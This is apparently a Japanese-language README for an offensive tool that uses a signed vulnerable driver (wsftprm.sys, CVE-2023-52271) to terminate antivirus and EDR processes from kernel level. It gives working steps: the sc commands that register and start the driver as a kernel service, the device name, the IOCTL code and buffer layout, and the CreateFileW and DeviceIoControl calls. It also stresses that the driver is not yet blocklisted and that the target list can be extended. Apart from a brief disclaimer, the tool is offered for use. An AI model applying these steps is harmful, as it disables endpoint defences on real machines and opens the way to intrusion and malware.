
脆弱なドライバ(BYOVD)を悪用してAV/EDRプロセスを終了させる
https://github.com/user-attachments/assets/1eda3340-2af2-4136-b74e-be7a3f4b3924
このプロジェクトは、正規の署名されたドライバーを武器化してカーネルレベルのアクセスを取得する方法を示しています。
wsftprm.sys は、TPZ SOLUCOES DIGITAIS LTDA によって署名され、以前に CVE-2023-52271 として公開されたローカル特権昇格の脆弱性が露呈していましたが、何故かまだ Microsoft のドライバーブロックリストに載っていません!! 🤫🤫
脆弱性は、IOCTL コード 0x22201C を介してトリガーされ、最初の4バイトにターゲットのプロセスIDをDWORDとして含む1036バイトのバッファを使用します。脆弱なドライバーは、DeviceIoControl を介してこの悪意のある IOCTL を受信すると、インポートされた ZwTerminateProcess 関数を呼び出し、任意のユーザーモードアプリケーションにカーネルレベルのプロセス終了機能を付与します。
まともな脅威アクターは、当然ながらこの機能を優先して、重要なアンチウイルス (AV) およびエンドポイント検出と応答 (EDR) プロセスを終了させるでしょう。
管理者権限で cmd.exe を起動し、タイプ "kernel" で binPath が脆弱なドライバーの場所を指すカーネルドライバーサービスを登録します。
> sc create MalDriver binPath= <path> type= Kernel`
> sc start MalDriver
ロードされると、ドライバーはユーザーモードでアクセス可能な \.\Warsaw_PM というシンボリックリンクを作成します。これを使用して、CreateFileW API 呼び出しを使用してドライバーデバイスへのハンドルを取得できます。
> CreateFileW(device_name.as_ptr(), GENERIC_READ | GENERIC_WRITE, 0, ptr::null_mut(), OPEN_EXISTING, 0, ptr::null_mut())
悪意のある IOCTL を送信するには、コード 0x22201C と、最初の4バイトにPIDを含むバッファを使用して DeviceIoControl を使用します。
> DeviceIoControl(self.hDriver, 0x22201C, buffer.as_mut_ptr() as LPVOID, buffer.len() as u32, ptr::null_mut(), 0, &mut bytes_returned, ptr::null_mut())
Cargo build --release でバイナリを生成します。
終了対象のリストに追加のプロセスを追加できます。
このツールを使用する前に、適切な許可を得ていることを確認する責任はあなたにあります。作者は誤用に対する一切の責任を負いません。
コントリビューションや提案を歓迎します!アイデア、改善点、またはコラボレーションしたい場合は、以下までお気軽にご連絡ください: [email protected]